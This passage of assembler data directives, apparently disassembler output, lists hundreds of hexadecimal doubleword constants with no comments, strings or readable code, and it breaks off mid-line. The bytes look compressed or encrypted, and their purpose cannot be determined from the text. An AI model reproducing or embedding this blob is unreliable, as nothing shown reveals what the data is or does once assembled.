30E2A360h dd 0D7EC1107h, 3DEC3FCEh, 0BC0E650Ch, 7361481Bh, 4AC81D91h dd 0E013C156h, 0C8C68195h, 0B700A8B0h, 8A84A99Fh, 0D98714h dd 4743407Bh, 81E638FBh, 79503301h, 64DC2010h, 0FD5ECh dd 0D2B880C3h, 78745277h, 5FBB5C00h, 248ED92h, 0B43C2516h dd 98E0EC10h, 48CEB00h, 2934F049h, 6B6600FFh, 4CF3E973h dd 0BF3CFC12h, 40BB0293h, 803C02E0h, 453A9DE0h, 0F6601D1Dh dd 80039DCh, 52C9D89Ch, 6F01CDFFh, 4F466C8Ch, 60E6C709h dd 60D13Dh, 630EC0A8h, 0FDA658E1h, 527A5400h, 0CE986419h dd 0D11B0BB9h, 0F300DD97h, 1C737453h, 2913F37Eh, 7F072D67h dd 97E05E0Eh, 3E2DC13h, 514F57B1h, 0E4E00A71h, 7C004DB5h dd 0F227DBD2h, 0ED02Dh, 1E182E08h, 79B7109Bh, 8D11B02Eh dd 0DFD24500h, 416498h, 90442451h, 40A3BFDBh, 0F4105A01h dd 9788D515h, 8994E0h, 75588A4Fh, 0DE543EDh, 29258D18h dd 507B28h, 42F00B33h, 0E9488ACAh, 0B5F2B800h, 91F647D8h dd 7368007Eh, 546497A0h, 85F2FB65h, 0B500E17Bh, 0E49C7A0Ch dd 8C0DA2h, 3E81BF0Eh, 0BB035D7Bh, 6785FA00h, 15807FA0h dd 0B8ECE9h, 0EA9B388Ch, 0BA6487E0h, 0C9232500h, 18FAAED6h dd 145800A9h, 0D597CA5Fh, 3B00169Bh, 0BCFDE30Fh, 4EA2F8h dd 0A66389EDh, 8BE98E06h, 0D0732500h, 75524A18h, 387BC7h dd 62BF5493h, 57A4361Ah, 0C3993F00h, 128AC62Fh, 4AE900F4h dd 663BDB70h, 6F0A4EEFh, 0CAE775CDh, 4300F917h, 3C766C97h dd 2882002Eh, 298CBB3Eh, 1AF09A8Eh, 784ED000h, 1446D596h dd 0EBFE876h, 85B4DBA1h, 0E4555740h, 1B09BB17h, 80913C52h dd 15BD129Bh, 85EA074Bh, 441608h, 78EF65DBh, 84E8E700h dd 0EC267980h, 381D7703h, 30002C2Dh, 37F10131h, 0B7392FE3h dd 0DDB00026h, 81A1A01Dh, 609000Dh, 7C6C5270h, 33399AFCh dd 0C163803Eh, 9CFB3DA6h, 0A446187Dh, 0C94198B6h, 259B3900h dd 2B45ADEDh, 8ACF00AFh, 7EB644DBh, 0F600616Eh, 40AA5604h dd 24273F2h, 11DD4D7h, 0FA80ECE5h, 0CCCE0C86h, 273FC600h dd 0AE969C70h, 9BDF0022h, 0B2444111h, 75009FBCh, 930DD589h dd 3048CFE8h, 0ED2079ADh, 7600A3C9h, 517B5F74h, 23A7E2h dd 40AB8C49h, 0FEDB1FA6h, 0B995B600h, 32B7A043h, 64D81807h dd 0BB4D887Eh, 4A037AFEh, 2C53D438h, 0E488D8C2h, 5B20005Ah dd 0D1580840h, 0DB3BC431h, 28F680E3h, 9388D37h, 0C5A10303h dd 0B5936684h, 13943180h, 0BC8FAB00h, 80B9CBF9h, 0C51C0098h dd 0ED219A86h, 5500F6F3h, 0E2FD7E60h, 7C800Ch, 5D321392h dd 39D9CA26h, 2D58B600h, 0DDB86A2Eh, 589DEE57h, 200C4B5h dd 0FCD95A20h, 8B003780h, 94AFB856h, 0BA13508h, 0F9342BC9h dd 5F89FFh, 957954DFh, 48B60046h, 0F7FB0489h, 1900F3C0h dd 0FE14420Ch, 0F16A8Bh, 744F22Fh, 369ECF83h, 8087DE3Dh dd 0E4351B5Ah, 0C90D06h, 0FDDD6F44h, 0CB12021Ah, 8E783E00h dd 863885D6h, 0DC970091h, 67D0EC74h, 0C400AFB6h, 1A6ACE7Eh dd 7F144A7h, 1B271D6h, 0B61213DBh, 85D80A8h, 19A17901h dd 7BBAC09Bh, 0C8D3BA43h, 2B1FA4h, 6FCC594Ah, 0CF50B787h dd 68C59600h, 271AC28Bh, 0E8BF00C9h, 1FE2D162h, 700705Dh dd 0EF29F481h, 898B9Ch, 4EAEDA03h, 0BC0B6DAFh, 0C4207F00h dd 0ECC31133h, 0E207E052h, 51DB0278h, 2FD3C135h, 0EAA4660h dd 20624630h, 0F2B2438Fh, 567000AFh, 527EA49Dh, 4507E159h dd 6F9306C4h, 6062B8E1h, 1FA3DCh, 30B60A32h, 9425268Eh dd 50E1F806h, 650A7EEh, 0DF2CFF17h, 2B00115Bh, 8BA512D8h dd 0E777AFh, 6EB8A6FBh, 94FA8822h, 0FD43Dh, 52865CBDh dd 1E42E5F1h, 327A681h, 44B3E37Dh, 0F9F4A190h, 0EA131990h dd 3518B4BBh, 0B9DC11h, 0F8BD9CAAh, 0B76EE977h, 680159F6h dd 70C2F53Ch, 0BE03281h dd 2F611923h, 809D711Dh, 632534C8h, 5C0B83EFh, 0E304919h dd 0A215321h, 40070E8h, 98AEDCA0h, 0FBF4B499h, 229C4FD0h dd 940009CAh, 31EE87B7h, 74815C59h, 3B6D01D2h, 9876F67Ch dd 10EDE456h, 0D87BEF0Ch, 5053908Bh, 0E720CCh, 9863C551h dd 0ED5F0EF4h, 0B98F1700h, 0ABD39DEEh, 764FEC2Ah, 53C5009Fh dd 0C77726BFh, 5060CB98h, 0B45BF238h, 0BE2130F9h, 0DC68FB50h dd 8F5C7850h, 8088208Dh, 93215Ch, 0C80F7B16h, 14901269h dd 0A4829E0h, 0B1E50A5h, 9782C1Fh, 451C8A2Eh, 7A47BB80h dd 0D9B2A3h, 19AC4B6Bh, 0C0C93672h, 64675E00h, 74B0BD9Dh dd 0F1980037h, 83568618h, 0AC484FC7h, 50910062h, 47422D6Ch dd 0D4F235h, 943E2A0Ah, 169F7F64h, 2336B300h, 0CC513E7h dd 0BC1000D7h, 6F45C1DAh, 0F0DA8865h, 86043DD0h, 100DC5EBh dd 0E44D8101h, 5020643Ch, 131DDC0h, 9D9288E0h, 0F062238Dh dd 44073866h, 940ED252h, 1E13E4C1h, 90E3CCF0h, 0D3AA24BEh dd 0F94F8324h, 51107B75h, 78804868h, 0CF53E18h, 0FC8928C1h dd 0B840110Fh, 58458Ch, 0B7BF1C12h, 0CD32337Dh, 960A5EFEh dd 0F48A16D4h, 6888F544h, 0EB730EBh, 9B4E73C0h, 18781330h dd 1956462h, 2D3B7CF5h, 800F5EBFh, 0B66EDE1h, 0F6ADC34h dd 16F5BCBBh, 418587CEh, 27FCC059h, 0B7016C3Ch, 1B428985h dd 80F25526h, 0F1A533D9h, 0BE62015Eh, 1E64186h, 0A489D845h dd 0AE308D78h, 4DD11951h, 343ECB2h, 35875484h, 0A4E042FEh dd 0C0509D2Ch, 56008314h, 0B1261EDAh, 3FE473h, 5905AB04h dd 0BEB8B984h, 0A44A58C0h, 0E99271h, 0F8627620h, 95FCB7CAh dd 0BF126A0Ch, 78818Bh, 583D0B72h, 74A7DFF3h, 54D80900h dd 2005ACE6h, 8DBD1457h, 0EB0118CCh, 0E039CF0h, 0A2EF06Ch dd 5D020D00h, 437684C6h, 53EE23h, 159EC55Ch, 0B39BD890h dd 6B938303h, 0E80D6E1Ch, 3F068CCEh, 2F8155D3h, 0C88FC9ABh dd 6137FC0Bh, 2066B130h, 633D17h, 90AC29Ah, 9291AB3Ch dd 26E770E1h, 0A7152303h, 9D82B287h, 25780580h, 0A8283A05h dd 0AC36DE01h, 86405395h, 1424425Ch, 9BFE39h, 64F11CCCh dd 0AED1E102h, 0B1039A00h, 0D8AC28BBh, 0C360032Bh, 718D488Bh dd 0A326D01Dh, 42F65201h, 48BEDB93h, 0F1447618h, 2C0114A8h dd 9EAEC13Ch, 0FBD86F3Ah, 0B48A036Dh, 4FA1667Fh, 0F722FCB8h dd 0CC0E16B0h, 80886901h, 0DF29409Fh, 0F0F4ABh, 54D759B3h dd 0E3CD4915h, 7E90691Dh, 1F482800h, 3C3F022h, 54CC33E0h dd 8302BF6h, 3B2A21D4h, 46B400F0h, 0B9A1CB8Eh, 90227085h dd 0A8543961h, 47B20E74h, 3207C064h, 6061D0C8h, 0A30340D5h dd 0D422656Bh, 7F300EEDh, 208336E3h, 11002BE4h, 21B6EE08h dd 1909C86Ah, 8B095FFh, 5F21873Ch, 1BC0BF45h, 0C113C0A4h dd 889AB8D0h, 5058B15Eh, 420CE79Ch, 6A25BF08h, 996B70E8h dd 42D8BE00h, 0A9C112F1h, 0A41A51CFh, 0F23176CCh, 0FB28D054h dd 0FDA49300h, 0EC0B99F7h, 829CF1Dh, 92216038h, 7A49Bh dd 2EAE54D6h, 117E5CFAh, 49690200h, 0EA534D28h, 2CCCA0FEh dd 0B99100E8h, 2143336Dh, 0A30079C1h, 7127F9CCh, 3AC9445h dd 0D0BA7A78h, 0E0B8DC6Ch, 6D3A5DD8h, 0ABAD8F41h, 2068C86h dd 3BBA00FFh, 19729305h, 51002CA1h, 85F1FD74h, 0B761845Ah dd 0EF381E70h, 9BDF8089h, 80C2B3BAh, 0A0A80078h, 308FB7FBh dd 0BB1E15DDh, 1787DE14h, 80104194h, 3A868Bh, 8220C5A7h dd 15B41175h, 0DEA2AA01h, 62F2160Fh, 114229BDh, 6E117A4Bh dd 64BF11A3h, 9022FE00h, 406C20C4h, 0F4086289h, 3BE96E45h dd 76F95188h, 0FD846690h, 79B64C40h, 0DFE10086h, 0B5524E04h dd 0EF007FFEh, 0F7CFB282h, 91FFBBh, 172BBF8Dh, 0D955C7E3h dd 44F24203h, 0C0C913ACh, 184CBBh, 0CFAEA551h, 0B532736Eh dd 0B9CAD400h, 8201B39Dh, 9AF400B0h, 87C66BB1h, 1900A24Ch dd 0E215BD7Dh, 63F597h, 0CF0CC79Fh, 0C68E52BAh, 0ECE96700h dd 3078499Bh, 12283D61h, 592AF600h, 416953CFh, 0FC11D800h dd 245E9BDh, 23400C57h, 2AD20982h, 0F2A74A00h, 707ED8CFh dd 3FFFE66h, 0AE5B12BDh, 100E673Eh, 0E00AA5ECh, 0DF06D5BFh dd 54B400B9h, 0AB7D5D37h, 43052AE5h, 9725147h, 1E8FF000h dd 0EAC53Ah, 6457677Ah, 1B106FD5h, 61929400h, 25CAAC5Fh dd 0AD3E0096h, 62846593h, 8E0053E7h, 0FF3F6333h, 0A1FA4Dh dd 12EB0316h, 0F81EF49Fh, 0B9765900h, 0DB6DDFFBh, 2C90ADh dd 820A1FA0h, 4ACE5FBCh, 45213Ch, 49E3FF38h, 50F15h, 9C4E4F53h dd 6BDBFA5h, 7CA00D00h, 5DE611D3h, 0A63F0005h, 8FD40A44h dd 0B02B1C3h, 7412EC37h, 0B606E0CAh, 0E047034Eh, 26841F95h dd 99271807h, 25F1ABEDh, 0E2E07523h, 0F1440181h, 93603534h dd 1A6CE032h, 48FEB113h, 6BF86E00h, 7E318741h, 22F4C3FCh dd 3AE0B21Dh, 540E7571h, 2049D893h, 9EDF8A42h, 0B8FF757Bh dd 99C98B4h, 0B632BA30h, 0EB2FCA00h, 0F400DC40h, 0FC68E0E5h dd 1052076h, 0CF2B1A52h, 0DC4F8D0Bh, 0E4001F77h, 345982F6h dd 0D3C1FCh, 7113F51h, 7217BD87h, 849D5D1Eh, 7E77BF00h dd 48D57D49h, 5F3CDCB5h, 0AA2507F2h, 809A157Fh, 0D4845E38h dd 94336B00h, 593FD9A1h, 27773B4Bh, 893C0370h, 0EC9E5BBFh dd 87060AF0h, 16358C58h, 0B409EA7Bh, 6D7C0014h, 0E33811h dd 0B847CF67h, 7107C02Eh, 9C2C6CF0h, 90005397h, 0AA1105D5h dd 65C90033h, 960777CDh, 7AE075B8h, 5D3D097h, 0CBE8E410h dd 73CC007Fh, 67251FD2h, 5A28B474h, 43E0B4C4h, 7DB0FC00h dd 35F6537h, 0F5E6ECh, 17CCFDDh, 539316B1h, 837B5E1Eh dd 6400F292h, 0A2B46630h, 0B8EC0004h, 0AA1F034h, 0BC908281h dd 0F67CEE01h, 0E6CCDFADh, 7CAEEDE0h, 557300CBh, 7E205B4Bh dd 0F904C8CAh, 53EBE4F2h, 0A9A68480h, 757A1D38h, 0EDFB808Ah dd 6B926C33h, 2B356100h, 0C7DFAFA8h, 49190068h, 3E0DCDD1h dd 5B05B183h, 0AFFB5210h, 97907BC0h, 0B69D003Ah, 0CCBE5DE1h dd 0EB00B0D1h, 576A3243h, 0FA9538h, 0E5F50C58h, 6403583h dd 4700D090h, 70D38D76h, 90E2ECh, 0D9602532h, 0F2E52067h dd 207B3830h, 3D64460Eh, 0B6A8100Fh, 10E0608Fh, 0E7603F06h dd 2F85700Bh, 7D820024h, 0E1FC7Eh, 0C1FF6BADh, 1B1F5CFh dd 0B0535409h, 81940E51h, 81D6DA65h, 0A412ECh, 0A1061BD3h dd 5E8E6D48h, 0AD0DE90Fh, 0C3262717h, 3F1BB6A0h, 0FA6A024Ch dd 7399EC36h, 25B5C848h, 5FA43000h, 15EB8A7Eh, 0D5B90032h dd 0F162065Bh, 26001652h, 0E1D9D4EFh, 0F13C39Fh, 0E34DE5FFh dd 8432EE60h, 0A7007ADAh, 370E9424h, 5C046D66h, 4500A927h dd 3EFEAE9Ch, 39000A8Bh, 73F84999h, 0E438F6D0h, 0CC5200F4h dd 410CAD0Bh, 0CF008DB5h, 3EA0A41Fh, 0B0156Fh, 5BCE8B40h dd 63BF740Ah, 8195C807h, 57603D5Ah, 0A2DCFEh, 0B21C31E0h dd 2917FFF6h, 6A7FAC0Eh, 8030C999h, 0B44FC2E6h, 3A900DDh dd 4563016Bh, 4400D878h, 0F5CF1ADh, 0E11AFh, 0B13C3A85h dd 0B5616CB6h, 6FE2BA00h, 0FA2A89CAh, 9571019Ch, 0B9EBDFD1h dd 0F5F7200Ah, 0FB7E6F90h, 0C44FDB00h, 5207A382h, 0AB36030Dh dd 3BC0F4D9h, 0EAF0D6FBh, 0CE00CA63h, 5B2438Dh, 857EBDh dd 25C32C45h, 37C99893h, 7BED6117h, 3B296E00h, 3A2309DFh dd 1C80877Fh, 98F508E0h, 0CF00F351h, 3E97F807h, 9A4B25h dd 169ED6CAh dd 0F20E751Dh, 78794600h, 11EAD5C7h, 8438000Fh, 8B19B834h dd 0B7007049h, 0ADECF0A6h, 3E656272h, 0DC807581h, 0AE1E34A0h dd 0FA72E469h, 0DB0031FCh, 0F6A372F4h, 1255986h, 48308EBBh dd 214C347Ch, 83A9FCE0h, 0D3E2DD09h, 54D7806Ah, 9865F0D9h dd 669A0024h, 0C788CB20h, 62DED4BFh, 75686300h, 5C5C8h dd 0E316578Fh, 6CD70EE2h, 13CF040Fh, 0D60E3C03h, 7F6707B2h dd 0BB78EF00h, 229C2CBEh, 0B5870058h, 0AC309A07h, 72C35D00h dd 102F2065h, 0D55F0CE0h, 0CE20BA78h, 3C058900h, 0D3A73250h dd 5DA03C27h, 7F4612h, 0CB453092h, 22405EDh, 893DC079h dd 27E82B96h, 7440C888h, 30D5405Eh, 1EE0D761h, 70008D06h dd 0D4FE596Fh, 0D3A072h, 0C2A9A7B1h, 8BD0E63Ch, 26B8B200h dd 0EF1087A6h, 0FBF95C1Eh, 0C68AFC00h, 0F3DE1D5Ch, 0E100A498h dd 3A331606h, 0F82F8AFh, 0D2607EFCh, 0B9BA3F20h, 5100FF74h dd 8534A3DFh, 111D436h, 0BEB33163h, 0E8145A79h, 0D500C143h dd 0C6AB6C9Ah, 4958Fh, 3793F7D3h, 0E0714B41h, 0A07F6100h dd 16DEA798h, 3A7B00A1h, 0B9AC699Fh, 32008F29h, 732BFED9h dd 0ED919Dh, 66E0B48Dh, 3739E87Fh, 0C00BBB1Ch, 615963C0h dd 0E64BFC92h, 0E9830743h, 9033391Bh, 299CF90Fh, 28D88900h dd 0A699C2F1h, 4B0AEh, 0EBA9EEC5h, 0DE0D27E6h, 123B1A00h dd 1B5BFDEAh, 8C7503A1h, 4A3ED001h, 0E57CF290h, 951E0278h dd 6600D89Ah, 92D518E3h, 0D79E00BFh, 0AA29713Dh, 1000E2E4h dd 18A177CBh, 0D9B95Ch, 0CC5D6896h, 0EE47B385h, 4DA2AA03h dd 0B059649Bh, 13B1EAh, 0AB5E1814h, 0C61632BFh, 0C7909F00h dd 46EBF6D9h, 0DCDB3889h, 76488E80h, 74CD947Ch, 0D4F36400h dd 0D271D623h, 0DC08005Bh, 0BF9CEB45h, 0C006088h, 0F3894E5Eh dd 0CC9275h, 4645DB06h, 2C642E9h, 6D07F798h, 54053533h dd 0EFE25F81h, 623C8C7h, 138D7F50h, 0B71AE29h, 0FF001819h dd 9CCD614Bh, 0B20774FAh, 0D298C71Ah, 0DA4C1520h, 0DDCB007Bh dd 6BD3447Eh, 1200B67Ch, 0DFEFCD20h, 8F696Eh, 1EC25D27h dd 0B3783846h, 0CD6B310Ch, 3C872013h, 3A799DDCh, 0C480ED09h dd 0C0802D85h, 0E3E01F1Eh, 4707207h, 302A482h, 5E5660D8h dd 271D0A7Eh, 0B86E2Ch, 0EE86EFF6h, 1A007299h, 82EAB82h dd 1F5A97F4h, 811533F5h, 26672B70h, 0D3EDD49Eh, 0FBAF471Fh dd 6190CB40h, 1D77DAF5h, 0E43401FAh, 5CDC00E6h, 0ADFCC893h dd 60172100h, 953E5AD1h, 0F0FE35h, 674EE29Dh, 79FAA8DAh dd 0AD8FE000h, 0CC2E7A70h, 6E54013Fh, 6518D0EFh, 9EB9D862h dd 98E61400h, 0BA05DA72h, 0B1E8009Dh, 0DCA4CD7h, 0E00229Fh dd 6D8B457Ah, 42910D9h, 92B323F6h, 5CE2C085h, 0BA002606h dd 31822013h, 2DF9D3Dh, 0DBD1F9F3h, 4044782Dh, 0E0815D20h dd 9C07146Fh, 0E500DFC7h, 1F31F0Fh, 4000C6Ch, 29FDBEE1h dd 64F890h, 0FF3FC3D6h, 4F158AF3h, 0B432D100h, 86A02ED0h dd 4E61CB8h, 0CD674942h, 0B3400Ah, 9057B09Eh, 5D0176E4h dd 3D84673h, 35F4BAA1h, 36C7EC4h, 0D6BE8813h, 3817CCB9h dd 0DB00ED96h, 4103F902h, 3F7914A6h, 0C700E0FEh, 24637AA3h dd 0DD187744h, 0BC8164Bh, 0FED10903h, 95804D6Fh, 0B1130834h dd 84C91806h, 370CEE0h, 0F9C24CBBh, 0FC88855Fh, 0D0037165h dd 1B073EFh, 0DEA2B9A7h, 0AA084E6h, 3A9FD890h, 33792Ch dd 2B03FE42h, 5605B624h, 89C4F500h, 0FA220CDAh, 0E7ED3BA7h dd 0B200084Dh, 3679F920h, 0D5006BC8h, 8BC6DF03h, 30742D7h dd 0B40A1E43h, 0AB886612h, 25EC5D3Eh, 475B5200h, 0CA893BC7h dd 59731Dh, 3E1F3D27h, 36A114Bh, 8279BD38h, 0ECEBC50Fh dd 4C8841DFh, 421AD0h, 4126FFCFh, 2DB0A15Dh, 0AA0157FCh dd 8BDBC187h, 90D8BC88h, 0CF82034Fh, 3C6495E6h, 1611D801h dd 6F6A5B91h, 0C83EA03Eh, 0A358EA00h, 1E12D14Eh, 4A011CECh dd 0B860F8B7h, 2C9872D2h, 0B21F5300h, 6FC1A090h, 1B3A0324h dd 7ECF76D8h, 0C06D201Fh, 9AB000FFh, 0D183C996h, 0FDB40035h dd 767F74F9h, 0F01C7BD9h, 6E1EBAB8h, 0F33E83BEh, 0B1F4BF7Ch dd 1A218832h, 94481BD1h, 0A6651C19h, 0F1AFC1D1h, 0F8E975A0h dd 0E500FB42h, 9F9A8EDFh, 1EBC67Dh, 0FAA3A02h, 0C0D6224Dh dd 87183D78h, 0B010762Ah, 0A97F0F36h, 0D9E0661Ch, 703EA313h dd 1200B87Dh, 77E33CE1h, 104248h, 8107CE55h, 952BFFC0h dd 9CF6D005h, 88403E44h, 0EB24B56Ah, 3AE100BBh, 27FC6EC8h dd 0E3011ED6h, 50F0C358h, 79704A04h, 0F8CB000Ch, 7A222E57h dd 1AF03DD8h, 2CF23Dh, 0F7832193h, 0A003B2D0h, 1236B588h dd 0B7CEBh, 0C6B40150h, 43004583h, 0B7030782h, 1D52E2F9h dd 0C431CF06h, 92769F51h, 92409CF4h, 5A587508h, 0D96F17BBh dd 0BF5DA401h, 80200633h, 0A5DE3BBAh, 631ED4DCh, 0B0E3C04Eh dd 45A83E7Dh, 7FE10800h, 74D5202h, 0F87325Ah, 0B06449F0h dd 0B8C5C700h, 0D7A47FEFh, 629E0FFEh, 53C0FB18h, 11549BCCh dd 79A5B907h, 0B96459h, 0B978A7Ch, 8C000D8h, 0E1D78218h dd 0CE00F79Dh, 0B473D574h, 0C26D38h, 22686A44h, 0AB763661h dd 65C62B00h, 0CCC1601Ah, 0F63E0011h, 81303F4Fh, 8A24D547h dd 87008C77h, 0B9657A9h, 4CBE7F1Eh, 140E2CDDh, 65E0B17Ch dd 0A8BD9556h, 0E6D7EF03h, 0D84A0A6Bh, 4FD45Bh, 54180C21h dd 17C2D5EBh, 0AC84A72Ch, 0B8420300h, 62FD6C90h, 971CF0BDh dd 81CF1840h, 22958203h, 0A8CA805Ch, 3EFE511h, 0BA5313B6h dd 0CE88266Ch, 7D3FB8C0h, 3FC4802Eh, 4562C91h, 0C8E7A0E9h dd 2C0744Dh, 0D7E17154h, 94C84CB0h, 0EA01AB99h, 0DC4097A1h dd 0EDF09D4Ah, 573103D4h, 0BF9368F6h, 54352000h, 84E0FE0Ah dd 0DEE518B0h, 76C61009h, 0D75BC30Bh, 6563014Ah, 946005DBh dd 15F005Ch, 0B9D3C71Bh, 77E63DEFh, 0F5C3E800h, 4D68E443h dd 1C5577FCh, 80806684h, 0ECA0A48Fh, 0C70006B3h, 8562282Eh dd 1C54D7h, 0C6E5ED58h, 17DFF6EAh, 14E607F0h, 0BA23749Ah dd 1FD38065h, 7C7AF979h, 9AFD9600h, 0FB6BAB3Ah, 0E2F600EBh dd 57645BE4h, 1D0B0572h, 1E7F39h, 138BA9DCh, 8098DCDCh dd 0E6FE857Ah, 937D4851h, 8052A103h, 0B9FFBD6Fh, 0D8303C0Ch dd 0F126096Ah, 100C8F3h, 0D659BBF6h, 2C235600h, 44824210h dd 94CE00D9h, 0B7EBFFEAh, 817DA8BCh, 5A8A2500h, 73870511h dd 50AD482Eh, 21C33300h, 0ACD8498Dh, 526B7DECh, 245807E8h dd 8F10F1F7h, 7F8864h, 0A5F84623h, 72DF499Dh, 0EAD320C0h dd 1C2E9Eh, 0F573A214h, 86538DAFh, 84B82C00h, 0F743A4F1h dd 0D891005Dh, 7FC2E4AAh, 0B700392Bh, 35BE15CFh, 0CD73ECh dd 0C00E30A1h, 0EEABBF77h, 5EE8B62Dh, 5D190069h, 45C87E3Ah dd 0F374C302h, 40295A49h, 77FD9290h, 5ECF0085h, 4ADA33F4h dd 220F824Dh, 633D7002h, 0C8EC7A86h, 19FCC2Bh, 346DAD9Ch dd 0E43A2DCEh, 0BF003003h, 5EA30BDFh, 0DA97B6h, 72241760h dd 0A1FD26F1h, 0C53E4900h, 977864F2h, 0B2F0039Ah, 793BC348h dd 0C213C0A7h, 0B40110AEh, 56B0E890h, 6CFCD19Ah, 2B90758h dd 0C0931D4Ch, 40C12A9Bh, 0FCE00F00h, 41D1FB5Eh, 33CD0E87h dd 0B4EC1F1Eh, 1C7BA351h, 0D08E9907h, 24F0296Ch, 1F812AACh dd 5FADF2C6h, 2BBD8019h, 6B5D380Ah, 7EE8F8EFh, 87039990h dd 7F8C83D5h, 13301FDFh, 2DA2842Ch, 0AC480A0h, 230045C2h dd 0CFEDB51Bh, 74B83398h dd 17BC00F9h, 962BE483h, 8F59635Ah, 0DD1900E0h, 42C2B368h dd 0E7C9038Ch, 50850B4Ah, 14F4A4C8h, 76EE5900h, 442E646Ch dd 3B5F071Eh, 87DEADFDh, 436AC378h, 0D2C618F0h, 0DDF24A1Dh dd 80014D1Dh, 1B71B8E0h, 88F32880h, 0BE48F737h, 40F58A1Dh dd 27DF9500h, 5D05C0h, 6ADD6C02h, 0AFB3090Fh, 36001471h dd 58D3ED8Ch, 79AE5Eh, 972FA75Fh, 6A6D9299h, 7BFBCD01h dd 420A66A1h, 0AE4077FEh, 776725BAh, 0F0B6CEB0h, 2F623A90h dd 23BCDB00h, 6F5185Fh, 438CE201h, 40D2EE6Ch, 0C0377620h dd 79D91BD0h, 0DB3FD150h, 0CA0A898h, 1768B354h, 92F0F660h dd 0A4A98Dh, 0E066DE68h, 78CEA814h, 5AA07300h, 0A7AAB798h dd 3356007Dh, 0D3F97FD1h, 5F0044D4h, 204D5ABCh, 0C788FDCAh dd 60337142h, 3432E266h, 51BC4Ch, 5B3C9EBBh, 7143EDh, 0EE301E70h dd 2CAE2778h, 0D0066E2h, 0D85B3B96h, 1D634FDh, 780E2CFh dd 0F874DD31h, 5C0143D2h, 53269D71h, 86C43FFBh, 0F69000ECh dd 21546C2Ah, 0C300ED46h, 4D6A6F5Eh, 0B1518F9h, 313FE3C9h dd 7160598Eh, 0F23BC69Ch, 54DF2500h, 6DD661C4h, 0D1EE3D57h dd 9C627D00h, 0F392F980h, 144DBA00h, 793DEC8h, 51FA03DAh dd 1A78C9BEh, 51C2A18Ah, 0C54CA420h, 0F2284371h, 0EE31D4D5h dd 1A61081Dh, 0DD332081h, 0E0F64E71h, 6B0084CEh, 0A59BAE14h dd 1402B4A1h, 0D2658594h, 6D0E3060h, 7B6036CCh, 0AD225861h dd 38F50398h, 30FD32BEh, 217E0830h, 0AD1A3Dh, 8D331E15h dd 646F0BF7h, 66A94B18h, 0CFA5558h, 9783599Eh, 5C41C670h dd 46710856h, 0AD0C02CEh, 3108F3BAh, 4371074h, 0EA9B00ADh dd 83FF2CE6h, 0F09706Fh, 7D146859h, 0C690A701h, 0D610F078h dd 0D9F05061h, 19861EE2h, 7844715Fh, 7964B60Ch, 0F39052h dd 6947B5ACh, 0E9674C13h, 0AD0F6B7Dh, 60A6D45Dh, 0D1B4E2B1h dd 0FC7300C1h, 6F4E030h, 6E00142Bh, 355D609Ch, 3F59B55Ah dd 768052A2h, 846DAA0h, 0F7B8682Dh, 0C840B200h, 0C4370EB5h dd 36B7070Dh, 993EFD93h, 6FD87Dh, 0CBF8832Fh, 9070FC44h dd 48B9DA00h, 0B15BE0F9h, 47E6094Bh, 3C836E3Dh, 83B08ECFh dd 5600C6CCh, 881D68BEh, 8F3148h, 51BC75E5h, 40A1640Fh dd 9B6058C7h, 0A89536B3h, 1AE6EB7h, 90464D32h, 0E4785E5Dh dd 540091F2h, 2C1263A1h, 864B3Fh, 749DFDE8h, 0BB68345Dh dd 0F76BA007h, 4C2FE03Dh, 0F101896h, 880C48BCh, 0E67B4C0h dd 2A00738Ch, 0CE2EB65Bh, 6070A1C8h, 0BB2D58A8h, 233ECA37h dd 7B2F0CD1h, 79F6A1B9h, 14C300ADh, 0BA861DA9h, 9CAB06C6h dd 0DA058800h, 0CBEB5D77h, 0D3811C07h, 0FEF7C0D8h, 0D0E6C05Ch dd 5B0C60C3h, 0B250004Dh, 4BD49567h, 0D81FD777h, 5200351Dh dd 8C8BBEB4h, 3BBBFE4Ch, 65009F91h, 0AD618AFFh, 770F8F6h dd 2A335001h, 3867B9E3h, 90C0E4h, 63AC1099h, 0A136F6C2h dd 0BA00827Ch, 0AD38359Bh, 0C57458h, 0C98EEDEEh, 0A57A32B9h dd 2500AFB0h, 0CE5E5242h, 4BBB71h, 8B120DF9h, 6793181Dh dd 0EA005C79h, 0F6BC334Dh, 1EE60FEDh, 4048048Dh, 73C834Ah dd 200703AAh, 2B64BF41h, 2AEE7710h, 0FCFA30h, 0E98A2B7h dd 0DC81C236h, 63C69200h, 0EC607A0Ch, 0D99C0394h, 6EC179ACh dd 423283A0h, 0B4002D7Bh, 0E34AA80Bh, 499EF6h, 0BCEC9956h dd 1A8FBE92h, 7B607400h, 0AE48319Fh, 8C60297h, 0FBC78B9Bh dd 1CD7360h, 91D3FC00h, 0BCCC7AA2h, 60362D85h, 95500780h dd 781F9853h, 6180ED32h, 35C55BA5h, 0AAC0037Dh, 0FC06BF70h dd 4B4C21AFh, 6D29887Ah, 937E84A2h, 420A08ACh, 59257C88h dd 14E3280Ah, 0AB09FE04h, 4E80F604h, 0C65E8A5h, 0E279FAA1h dd 67DDF345h, 1CB105F6h, 21EF9114h, 859C0CB6h, 4D447D51h dd 0BAB944CCh, 880A3384h, 44BCE929h, 0EE48C839h, 108F6D43h dd 394BF579h, 0DA5D00C9h, 0B551366Ah, 9BBF0045h, 6C0130E0h dd 0CD003EB6h, 0FEE4DE41h, 7BA9AFh, 0B2D9B415h, 6ECC929Fh dd 0CE58481Eh, 0C9827980h, 3BF24221h, 730065A2h, 55CD3AD5h dd 6A0020B6h, 293B83B8h, 0F2AD66Fh, 34AB722Dh, 0A78B80BDh dd 0BC756EEh, 0BEA44Ch, 84B8AD94h, 0B0F205h, 9617F968h dd 0BAD9E9F7h, 0CDBC3703h, 0C3B3F847h, 0E42AA04Eh, 129E3FA9h dd 0BE1DC73Dh, 658E403Eh, 6199EB95h, 3613358h, 4C7B1BC5h dd 807F26h, 6FC90DF6h, 6EFD7AE8h, 5FECD800h, 0B0E4D137h dd 361B3FB4h, 98D40D80h, 55D36982h, 7993A81Dh, 6187C900h dd 77274E57h, 0ADB01832h, 4483704Dh, 0FA992900h, 0A8FB1985h dd 8687006Fh, 589BF7Dh, 5E3B9C8Bh, 0A77F814Dh, 62A38352h dd 0E42BE8E3h, 906454DCh, 0AB63078Ch, 0D0145654h, 6E68671Eh dd 116A4A0h, 0CA045279h, 0BC74C43Bh, 3FB3C0EEh, 89786020h dd 4B83900h, 76902644h, 60357AC8h, 111C1019h, 923B257Dh dd 2C990012h, 981340A6h, 57160050h, 305AF514h, 0EB002DC6h dd 7032EADh, 0FC411E3h, 0BBBACCDCh, 583A5C40h, 8400F2F7h dd 748F428Eh, 75D963h, 0CBE64AADh, 159265EBh, 